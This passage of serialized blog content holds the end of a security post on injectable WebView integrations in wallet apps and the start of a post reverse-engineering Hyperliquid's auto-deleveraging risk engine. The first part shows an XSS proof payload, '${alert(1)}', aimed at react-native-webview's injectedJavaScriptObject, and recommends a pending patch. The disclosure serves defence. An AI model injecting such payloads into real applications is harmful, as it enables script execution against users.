\"`\"",{"type":23,"tag":504,"props":157491,"children":157492},{"style":523},[157493],{"type":28,"value":7820},{"type":23,"tag":504,"props":157495,"children":157496},{"style":598},[157497],{"type":28,"value":1642},{"type":23,"tag":504,"props":157499,"children":157500},{"style":622},[157501],{"type":28,"value":157502}," \"; };",{"type":23,"tag":504,"props":157504,"children":157505},{"style":47353},[157506],{"type":28,"value":47356},{"type":23,"tag":504,"props":157508,"children":157509},{"style":622},[157510],{"type":28,"value":1268},{"type":23,"tag":504,"props":157512,"children":157513},{"style":598},[157514],{"type":28,"value":8768},{"type":23,"tag":504,"props":157516,"children":157517},{"class":506,"line":736},[157518,157523],{"type":23,"tag":504,"props":157519,"children":157520},{"style":622},[157521],{"type":28,"value":157522},"          \"})();\"",{"type":23,"tag":504,"props":157524,"children":157525},{"style":523},[157526],{"type":28,"value":866},{"type":23,"tag":504,"props":157528,"children":157529},{"class":506,"line":785},[157530,157535],{"type":23,"tag":504,"props":157531,"children":157532},{"style":517},[157533],{"type":28,"value":157534},"        evaluateJavascriptWithFallback",{"type":23,"tag":504,"props":157536,"children":157537},{"style":523},[157538],{"type":28,"value":157539},"(js);\n",{"type":23,"tag":504,"props":157541,"children":157542},{"class":506,"line":813},[157543],{"type":23,"tag":504,"props":157544,"children":157545},{"style":523},[157546],{"type":28,"value":11645},{"type":23,"tag":24,"props":157548,"children":157549},{},[157550,157552,157558,157560,157565,157567,157573],{"type":28,"value":157551},"It basically injects a javascript code with the ",{"type":23,"tag":56,"props":157553,"children":157555},{"className":157554},[],[157556],{"type":28,"value":157557},"injectedJavascriptObject",{"type":28,"value":157559}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":56,"props":157561,"children":157563},{"className":157562},[],[157564],{"type":28,"value":157557},{"type":28,"value":157566},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":56,"props":157568,"children":157570},{"className":157569},[],[157571],{"type":28,"value":157572},"${alert(1)}",{"type":28,"value":157574}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":24,"props":157576,"children":157577},{},[157578,157580,157587],{"type":28,"value":157579},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":92,"props":157581,"children":157584},{"href":157582,"rel":157583},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[96],[157585],{"type":28,"value":157586},"PR with the report and fix",{"type":28,"value":320},{"type":23,"tag":24,"props":157589,"children":157590},{},[157591],{"type":28,"value":157592},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":24,"props":157594,"children":157595},{},[157596,157598,157604],{"type":28,"value":157597},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":56,"props":157599,"children":157601},{"className":157600},[],[157602],{"type":28,"value":157603},"injectedJavaScriptObject",{"type":28,"value":157605}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":82,"props":157607,"children":157608},{"id":1800},[157609],{"type":28,"value":1803},{"type":23,"tag":24,"props":157611,"children":157612},{},[157613],{"type":28,"value":157614},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":1815,"props":157616,"children":157617},{},[157618],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":157620},[157621,157625,157628,157629],{"id":155344,"depth":540,"text":155347,"children":157622},[157623,157624],{"id":155355,"depth":555,"text":155358},{"id":155430,"depth":555,"text":155433},{"id":155463,"depth":540,"text":155466,"children":157626},[157627],{"id":155653,"depth":555,"text":155656},{"id":157173,"depth":540,"text":157176},{"id":157248,"depth":540,"text":157251,"children":157630},[157631],{"id":1800,"depth":555,"text":1803},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":157636,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157637,"description":157638,"date":157639,"author":157640,"image":157641,"isFeatured":16,"onBlogPage":16,"tags":157645,"hideToc":16,"body":157649,"_type":1838,"_id":164288,"_source":1840,"_file":164289,"_stem":164290,"_extension":1843},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":157642,"width":157643,"height":157644},"/posts/hyperliquid-risk-engine/title.png",1456,816,[157646,157647,157648],"hyperliquid","reverse-engineering","defi",{"type":20,"children":157650,"toc":164260},[157651,157657,157665,157670,157675,157680,157692,157697,157710,157729,157735,157747,157760,157765,157796,157801,157814,157819,158010,158016,158021,158033,158039,158044,158050,158063,158097,158102,158107,158119,158125,158145,158153,158166,158172,158183,158189,158201,158206,158212,158232,158240,158246,158280,158284,158320,158325,158330,158335,158348,158385,158390,158404,158410,158415,158441,158449,158454,158482,158487,158492,158830,158835,158840,158860,158887,158892,158905,158917,158922,158927,158933,158938,158943,158957,158962,158968,158996,159033,159044,159048,159053,159058,159064,159230,159265,159270,159276,159282,159471,159484,159489,159495,159516,159521,159527,159532,159537,159549,159554,159559,159565,159570,159575,159581,159587,159600,159633,159638,162214,162482,162487,163817,163822,163827,163839,163930,163942,163947,163953,163958,163966,163971,163979,163985,164019,164030,164038,164044,164050,164055,164063,164068,164073,164081,164093,164099,164104,164110,164121,164126,164132,164137,164142,164148,164153,164156,164161,164166,164172,164177,164189,164194,164199],{"type":23,"tag":70,"props":157652,"children":157654},{"id":157653},"perpetuals",[157655],{"type":28,"value":157656},"Perpetuals",{"type":23,"tag":1909,"props":157658,"children":157659},{},[157660],{"type":23,"tag":24,"props":157661,"children":157662},{},[157663],{"type":28,"value":157664},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":24,"props":157666,"children":157667},{},[157668],{"type":28,"value":157669},"What does that even have to do with reverse engineering?",{"type":23,"tag":70,"props":157671,"children":157672},{"id":157646},[157673],{"type":28,"value":157674},"Hyperliquid",{"type":23,"tag":24,"props":157676,"children":157677},{},[157678],{"type":28,"value":157679},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":24,"props":157681,"children":157682},{},[157683,157685,157690],{"type":28,"value":157684},"The node is tasked with a ",{"type":23,"tag":1887,"props":157686,"children":157687},{},[157688],{"type":28,"value":157689},"very hard problem",{"type":28,"value":157691},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":24,"props":157693,"children":157694},{},[157695],{"type":28,"value":157696},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":24,"props":157698,"children":157699},{},[157700,157702,157708],{"type":28,"value":157701},"Beyond that, the ",{"type":23,"tag":56,"props":157703,"children":157705},{"className":157704},[],[157706],{"type":28,"value":157707},"hl-node",{"type":28,"value":157709}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":24,"props":157711,"children":157712},{},[157713,157715,157720,157722,157727],{"type":28,"value":157714},"Armed with some curiosity, a good amount of ",{"type":23,"tag":1887,"props":157716,"children":157717},{},[157718],{"type":28,"value":157719},"inference",{"type":28,"value":157721},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":1887,"props":157723,"children":157724},{},[157725],{"type":28,"value":157726},"interactive interface",{"type":28,"value":157728},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":70,"props":157730,"children":157732},{"id":157731},"the-million-dollar-question",[157733],{"type":28,"value":157734},"The Million Dollar Question",{"type":23,"tag":24,"props":157736,"children":157737},{},[157738,157740,157745],{"type":28,"value":157739},"Let's say a terrible trader opens a ",{"type":23,"tag":1887,"props":157741,"children":157742},{},[157743],{"type":28,"value":157744},"50x",{"type":28,"value":157746}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":24,"props":157748,"children":157749},{},[157750,157752,157758],{"type":28,"value":157751},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":56,"props":157753,"children":157755},{"className":157754},[],[157756],{"type":28,"value":157757},"compute_margin_requirement_by_mode",{"type":28,"value":157759}," function.",{"type":23,"tag":24,"props":157761,"children":157762},{},[157763],{"type":28,"value":157764},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":157766,"props":157767,"children":157768},"tip",{},[157769],{"type":23,"tag":24,"props":157770,"children":157771},{},[157772,157774,157779,157781,157788,157790,157795],{"type":28,"value":157773},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":1887,"props":157775,"children":157776},{},[157777],{"type":28,"value":157778},"click through",{"type":28,"value":157780}," each action performed by ",{"type":23,"tag":92,"props":157782,"children":157785},{"href":157783,"rel":157784},"https://github.com/renato-osec/patina-research",[96],[157786],{"type":28,"value":157787},"our Rust reverse engineering agent",{"type":28,"value":157789},". Return to the regular view by clicking ",{"type":23,"tag":56,"props":157791,"children":157793},{"className":157792},[],[157794],{"type":28,"value":4971},{"type":28,"value":320},{"type":23,"tag":157797,"props":157798,"children":157800},"bndb-viewer-embed",{"addr":157799,"line-start":2991,"line-end":133305},"0x555556bb4d20",[],{"type":23,"tag":24,"props":157802,"children":157803},{},[157804,157806,157812],{"type":28,"value":157805},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":56,"props":157807,"children":157809},{"className":157808},[],[157810],{"type":28,"value":157811},"OptionUnitQty",{"type":28,"value":157813},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":24,"props":157815,"children":157816},{},[157817],{"type":28,"value":157818},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":494,"props":157820,"children":157821},{},[157822],{"type":23,"tag":56,"props":157823,"children":157826},{"className":157824},[2960,157825],"math-display",[157827],{"type":23,"tag":504,"props":157828,"children":157831},{"className":157829},[157830],"katex-display",[157832],{"type":23,"tag":504,"props":157833,"children":157835},{"className":157834},[2966],[157836],{"type":23,"tag":504,"props":157837,"children":157839},{"className":157838,"ariaHidden":2972},[2971],[157840,157871],{"type":23,"tag":504,"props":157841,"children":157843},{"className":157842},[2977],[157844,157848,157858,157862,157867],{"type":23,"tag":504,"props":157845,"children":157847},{"className":157846,"style":93211},[2982],[],{"type":23,"tag":504,"props":157849,"children":157851},{"className":157850},[2988,28],[157852],{"type":23,"tag":504,"props":157853,"children":157855},{"className":157854},[2988],[157856],{"type":28,"value":157857},"liq_equity",{"type":23,"tag":504,"props":157859,"children":157861},{"className":157860,"style":3167},[3069],[],{"type":23,"tag":504,"props":157863,"children":157865},{"className":157864},[3172],[157866],{"type":28,"value":601},{"type":23,"tag":504,"props":157868,"children":157870},{"className":157869,"style":3167},[3069],[],{"type":23,"tag":504,"props":157872,"children":157874},{"className":157873},[2977],[157875,157880],{"type":23,"tag":504,"props":157876,"children":157879},{"className":157877,"style":157878},[2982],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":504,"props":157881,"children":157883},{"className":157882},[2988],[157884,157888,158006],{"type":23,"tag":504,"props":157885,"children":157887},{"className":157886},[20698,112316],[],{"type":23,"tag":504,"props":157889,"children":157891},{"className":157890},[112321],[157892],{"type":23,"tag":504,"props":157893,"children":157895},{"className":157894},[3010,20623],[157896,157994],{"type":23,"tag":504,"props":157897,"children":157899},{"className":157898},[3015],[157900,157989],{"type":23,"tag":504,"props":157901,"children":157904},{"className":157902,"style":157903},[3020],"height:1.427em;",[157905,157945,157956],{"type":23,"tag":504,"props":157906,"children":157908},{"style":157907},"top:-2.314em;",[157909,157913],{"type":23,"tag":504,"props":157910,"children":157912},{"className":157911,"style":110969},[3029],[],{"type":23,"tag":504,"props":157914,"children":157916},{"className":157915},[2988],[157917,157922,157926,157931,157935],{"type":23,"tag":504,"props":157918,"children":157920},{"className":157919},[2988],[157921],{"type":28,"value":2100},{"type":23,"tag":504,"props":157923,"children":157925},{"className":157924,"style":3070},[3069],[],{"type":23,"tag":504,"props":157927,"children":157929},{"className":157928},[3075],[157930],{"type":28,"value":110060},{"type":23,"tag":504,"props":157932,"children":157934},{"className":157933,"style":3070},[3069],[],{"type":23,"tag":504,"props":157936,"children":157938},{"className":157937},[2988,28],[157939],{"type":23,"tag":504,"props":157940,"children":157942},{"className":157941},[2988],[157943],{"type":28,"value":157944},"leverage",{"type":23,"tag":504,"props":157946,"children":157947},{"style":112371},[157948,157952],{"type":23,"tag":504,"props":157949,"children":157951},{"className":157950,"style":110969},[3029],[],{"type":23,"tag":504,"props":157953,"children":157955},{"className":157954,"style":112381},[112380],[],{"type":23,"tag":504,"props":157957,"children":157959},{"style":157958},"top:-3.677em;",[157960,157964],{"type":23,"tag":504,"props":157961,"children":157963},{"className":157962,"style":110969},[3029],[],{"type":23,"tag":504,"props":157965,"children":157967},{"className":157966},[2988],[157968,157974,157984],{"type":23,"tag":504,"props":157969,"children":157971},{"className":157970},[2988],[157972],{"type":28,"value":157973},"∣",{"type":23,"tag":504,"props":157975,"children":157977},{"className":157976},[2988,28],[157978],{"type":23,"tag":504,"props":157979,"children":157981},{"className":157980},[2988],[157982],{"type":28,"value":157983},"notional",{"type":23,"tag":504,"props":157985,"children":157987},{"className":157986},[2988],[157988],{"type":28,"value":157973},{"type":23,"tag":504,"props":157990,"children":157992},{"className":157991},[20726],[157993],{"type":28,"value":20729},{"type":23,"tag":504,"props":157995,"children":157997},{"className":157996},[3015],[157998],{"type":23,"tag":504,"props":157999,"children":158002},{"className":158000,"style":158001},[3020],"height:0.8804em;",[158003],{"type":23,"tag":504,"props":158004,"children":158005},{},[],{"type":23,"tag":504,"props":158007,"children":158009},{"className":158008},[20720,112316],[],{"type":23,"tag":70,"props":158011,"children":158013},{"id":158012},"what-if-nobody-wants-to-buy-the-position",[158014],{"type":28,"value":158015},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":24,"props":158017,"children":158018},{},[158019],{"type":28,"value":158020},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":24,"props":158022,"children":158023},{},[158024,158026,158031],{"type":28,"value":158025},"When that happens, the exchange is basically left with a ",{"type":23,"tag":1887,"props":158027,"children":158028},{},[158029],{"type":28,"value":158030},"hot potato",{"type":28,"value":158032}," to get rid of: what should it even do with the debt?",{"type":23,"tag":34349,"props":158034,"children":158036},{"id":158035},"the-risk-engine",[158037],{"type":28,"value":158038},"The Risk Engine",{"type":23,"tag":24,"props":158040,"children":158041},{},[158042],{"type":28,"value":158043},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":70,"props":158045,"children":158047},{"id":158046},"clearing-up-bad-debt",[158048],{"type":28,"value":158049},"Clearing Up Bad Debt",{"type":23,"tag":24,"props":158051,"children":158052},{},[158053,158054,158061],{"type":28,"value":15592},{"type":23,"tag":92,"props":158055,"children":158058},{"href":158056,"rel":158057},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[96],[158059],{"type":28,"value":158060},"Hyperliquid docs",{"type":28,"value":158062}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":24,"props":158064,"children":158065},{},[158066,158068,158079,158081,158087,158089,158095],{"type":28,"value":158067},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":92,"props":158069,"children":158072},{"href":158070,"rel":158071},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[96],[158073],{"type":23,"tag":56,"props":158074,"children":158076},{"className":158075},[],[158077],{"type":28,"value":158078},"Clearinghouse",{"type":28,"value":158080},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":56,"props":158082,"children":158084},{"className":158083},[],[158085],{"type":28,"value":158086},"Exchange",{"type":28,"value":158088}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":56,"props":158090,"children":158092},{"className":158091},[],[158093],{"type":28,"value":158094},"MessagePack",{"type":28,"value":158096}," at runtime.",{"type":23,"tag":24,"props":158098,"children":158099},{},[158100],{"type":28,"value":158101},"This data will come in handy both for us and the agent.",{"type":23,"tag":158103,"props":158104,"children":158106},"file-download",{"path":158105},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":24,"props":158108,"children":158109},{},[158110,158112,158117],{"type":28,"value":158111},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":56,"props":158113,"children":158115},{"className":158114},[],[158116],{"type":28,"value":158078},{"type":28,"value":158118},". Some renaming later, we can infer something like this:",{"type":23,"tag":157797,"props":158120,"children":158124},{"source":158121,"target":158122,"direction":158123},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":24,"props":158126,"children":158127},{},[158128,158130,158135,158137,158143],{"type":28,"value":158129},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":56,"props":158131,"children":158133},{"className":158132},[],[158134],{"type":28,"value":158122},{"type":28,"value":158136},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":56,"props":158138,"children":158140},{"className":158139},[],[158141],{"type":28,"value":158142},"exchange_end_block",{"type":28,"value":158144},". So, at the end of each block we run some checks.",{"type":23,"tag":157766,"props":158146,"children":158147},{},[158148],{"type":23,"tag":24,"props":158149,"children":158150},{},[158151],{"type":28,"value":158152},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":24,"props":158154,"children":158155},{},[158156,158158,158164],{"type":28,"value":158157},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":56,"props":158159,"children":158161},{"className":158160},[],[158162],{"type":28,"value":158163},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":158165}," flag.",{"type":23,"tag":157797,"props":158167,"children":158171},{"addr":158168,"line-start":158169,"line-end":158170},"0x555556ac3850","3290","3301",[],{"type":23,"tag":24,"props":158173,"children":158174},{},[158175,158177,158182],{"type":28,"value":158176},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":56,"props":158178,"children":158180},{"className":158179},[],[158181],{"type":28,"value":158078},{"type":28,"value":2133},{"type":23,"tag":82,"props":158184,"children":158186},{"id":158185},"threshold-condition",[158187],{"type":28,"value":158188},"Threshold Condition",{"type":23,"tag":24,"props":158190,"children":158191},{},[158192,158194,158199],{"type":28,"value":158193},"The natural connection between liquidations and ADL is ",{"type":23,"tag":1887,"props":158195,"children":158196},{},[158197],{"type":28,"value":158198},"shortfall",{"type":28,"value":158200},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":24,"props":158202,"children":158203},{},[158204],{"type":28,"value":158205},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":17874,"props":158207,"children":158209},{"id":158208},"who-is-underwater",[158210],{"type":28,"value":158211},"Who Is Underwater?",{"type":23,"tag":24,"props":158213,"children":158214},{},[158215,158217,158222,158224,158230],{"type":28,"value":158216},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":56,"props":158218,"children":158220},{"className":158219},[],[158221],{"type":28,"value":158122},{"type":28,"value":158223},", starting from all user positions, which are stored in ",{"type":23,"tag":56,"props":158225,"children":158227},{"className":158226},[],[158228],{"type":28,"value":158229},"clearinghouse.user_states",{"type":28,"value":158231},", as we can also see from the serialization.",{"type":23,"tag":157766,"props":158233,"children":158234},{},[158235],{"type":23,"tag":24,"props":158236,"children":158237},{},[158238],{"type":28,"value":158239},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":157797,"props":158241,"children":158245},{"source":158242,"target":158142,"direction":158243,"path":158244},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":24,"props":158247,"children":158248},{},[158249,158250,158255,158257,158263,158265,158271,158273,158279],{"type":28,"value":15592},{"type":23,"tag":56,"props":158251,"children":158253},{"className":158252},[],[158254],{"type":28,"value":158242},{"type":28,"value":158256}," essentially turns that into an ",{"type":23,"tag":56,"props":158258,"children":158260},{"className":158259},[],[158261],{"type":28,"value":158262},"Iter",{"type":28,"value":158264},", then, inside of ",{"type":23,"tag":56,"props":158266,"children":158268},{"className":158267},[],[158269],{"type":28,"value":158270},"build_adl_candidate_set",{"type":28,"value":158272}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":56,"props":158274,"children":158276},{"className":158275},[],[158277],{"type":28,"value":158278},"AdlIterEntry",{"type":28,"value":57305},{"type":23,"tag":157797,"props":158281,"children":158283},{"type-name":158282},"AdlIterContext",[],{"type":23,"tag":24,"props":158285,"children":158286},{},[158287,158289,158295,158297,158303,158305,158311,158313,158318],{"type":28,"value":158288},"Note that in storage, ",{"type":23,"tag":56,"props":158290,"children":158292},{"className":158291},[],[158293],{"type":28,"value":158294},"Isolated",{"type":28,"value":158296}," positions have their own independent ",{"type":23,"tag":56,"props":158298,"children":158300},{"className":158299},[],[158301],{"type":28,"value":158302},"Entry",{"type":28,"value":158304}," in the position iterators, and ",{"type":23,"tag":56,"props":158306,"children":158308},{"className":158307},[],[158309],{"type":28,"value":158310},"Cross",{"type":28,"value":158312}," positions have a single common ",{"type":23,"tag":56,"props":158314,"children":158316},{"className":158315},[],[158317],{"type":28,"value":158302},{"type":28,"value":158319},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":157797,"props":158321,"children":158324},{"addr":158322,"line-start":43232,"line-end":158323},"0x555556266b10","163",[],{"type":23,"tag":24,"props":158326,"children":158327},{},[158328],{"type":28,"value":158329},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":157797,"props":158331,"children":158334},{"addr":158168,"line-start":158332,"line-end":158333},"506","527",[],{"type":23,"tag":24,"props":158336,"children":158337},{},[158338,158340],{"type":28,"value":158339},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":158341,"props":158342,"children":158345},"bndb-xref",{"lines":158343,"addrs":158344},"1-2","0x555556ac3e18-0x555556ac3e18",[158346],{"type":28,"value":158347},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":24,"props":158349,"children":158350},{},[158351,158353,158359,158361,158367,158369,158375,158377,158383],{"type":28,"value":158352},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":56,"props":158354,"children":158356},{"className":158355},[],[158357],{"type":28,"value":158358},"only_isolated",{"type":28,"value":158360}," (or ",{"type":23,"tag":56,"props":158362,"children":158364},{"className":158363},[],[158365],{"type":28,"value":158366},"strict_isolated",{"type":28,"value":158368}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":56,"props":158370,"children":158372},{"className":158371},[],[158373],{"type":28,"value":158374},"deferred_queue",{"type":28,"value":158376},", which triggers ADL regardless of the system's ",{"type":23,"tag":56,"props":158378,"children":158380},{"className":158379},[],[158381],{"type":28,"value":158382},"total_shortfall",{"type":28,"value":158384},". This is dictated by this branch.",{"type":23,"tag":157797,"props":158386,"children":158389},{"addr":158168,"line-start":158387,"line-end":158388},"211","243",[],{"type":23,"tag":24,"props":158391,"children":158392},{},[158393,158395,158402],{"type":28,"value":158394},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":92,"props":158396,"children":158399},{"href":158397,"rel":158398},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[96],[158400],{"type":28,"value":158401},"March 2025 incident",{"type":28,"value":158403},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":17874,"props":158405,"children":158407},{"id":158406},"how-do-we-get-rid-of-debt",[158408],{"type":28,"value":158409},"How Do We Get Rid of Debt?",{"type":23,"tag":24,"props":158411,"children":158412},{},[158413],{"type":28,"value":158414},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":24,"props":158416,"children":158417},{},[158418,158420,158425,158427,158432,158434,158439],{"type":28,"value":158419},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":56,"props":158421,"children":158423},{"className":158422},[],[158424],{"type":28,"value":158374},{"type":28,"value":158426}," is overwritten by all the users marked by ",{"type":23,"tag":56,"props":158428,"children":158430},{"className":158429},[],[158431],{"type":28,"value":158270},{"type":28,"value":158433},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":56,"props":158435,"children":158437},{"className":158436},[],[158438],{"type":28,"value":158366},{"type":28,"value":158440}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":157766,"props":158442,"children":158443},{},[158444],{"type":23,"tag":24,"props":158445,"children":158446},{},[158447],{"type":28,"value":158448},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":157797,"props":158450,"children":158453},{"addr":158168,"line-start":158451,"line-end":158452},"523","526",[],{"type":23,"tag":24,"props":158455,"children":158456},{},[158457,158459,158465,158467,158473,158475,158480],{"type":28,"value":158458},"For each underwater position, we do a ",{"type":23,"tag":158341,"props":158460,"children":158462},{"addrs":158461},"0x555556ac42ad-0x555556ac42be",[158463],{"type":28,"value":158464},"B-tree lookup",{"type":28,"value":158466}," on ",{"type":23,"tag":56,"props":158468,"children":158470},{"className":158469},[],[158471],{"type":28,"value":158472},"clearinghouse.user_states[position.user]",{"type":28,"value":158474},", adding them to a ",{"type":23,"tag":56,"props":158476,"children":158478},{"className":158477},[],[158479],{"type":28,"value":16190},{"type":28,"value":158481}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":157797,"props":158483,"children":158486},{"addr":158168,"line-start":158484,"line-end":158485},"635","658",[],{"type":23,"tag":24,"props":158488,"children":158489},{},[158490],{"type":28,"value":158491},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":494,"props":158493,"children":158494},{},[158495],{"type":23,"tag":56,"props":158496,"children":158498},{"className":158497},[2960,157825],[158499],{"type":23,"tag":504,"props":158500,"children":158502},{"className":158501},[157830],[158503],{"type":23,"tag":504,"props":158504,"children":158506},{"className":158505},[2966],[158507],{"type":23,"tag":504,"props":158508,"children":158510},{"className":158509,"ariaHidden":2972},[2971],[158511],{"type":23,"tag":504,"props":158512,"children":158514},{"className":158513},[2977],[158515,158520],{"type":23,"tag":504,"props":158516,"children":158519},{"className":158517,"style":158518},[2982],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":504,"props":158521,"children":158523},{"className":158522},[2988],[158524],{"type":23,"tag":504,"props":158525,"children":158528},{"className":158526},[158527],"mtable",[158529,158609],{"type":23,"tag":504,"props":158530,"children":158533},{"className":158531},[158532],"col-align-r",[158534],{"type":23,"tag":504,"props":158535,"children":158537},{"className":158536},[3010,20623],[158538,158597],{"type":23,"tag":504,"props":158539,"children":158541},{"className":158540},[3015],[158542,158592],{"type":23,"tag":504,"props":158543,"children":158546},{"className":158544,"style":158545},[3020],"height:2.3452em;",[158547,158570],{"type":23,"tag":504,"props":158548,"children":158550},{"style":158549},"top:-4.3452em;",[158551,158556],{"type":23,"tag":504,"props":158552,"children":158555},{"className":158553,"style":158554},[3029],"height:3.3944em;",[],{"type":23,"tag":504,"props":158557,"children":158559},{"className":158558},[2988],[158560],{"type":23,"tag":504,"props":158561,"children":158563},{"className":158562},[2988,28],[158564],{"type":23,"tag":504,"props":158565,"children":158567},{"className":158566},[2988],[158568],{"type":28,"value":158569},"position_weight",{"type":23,"tag":504,"props":158571,"children":158573},{"style":158572},"top:-2.2092em;",[158574,158578],{"type":23,"tag":504,"props":158575,"children":158577},{"className":158576,"style":158554},[3029],[],{"type":23,"tag":504,"props":158579,"children":158581},{"className":158580},[29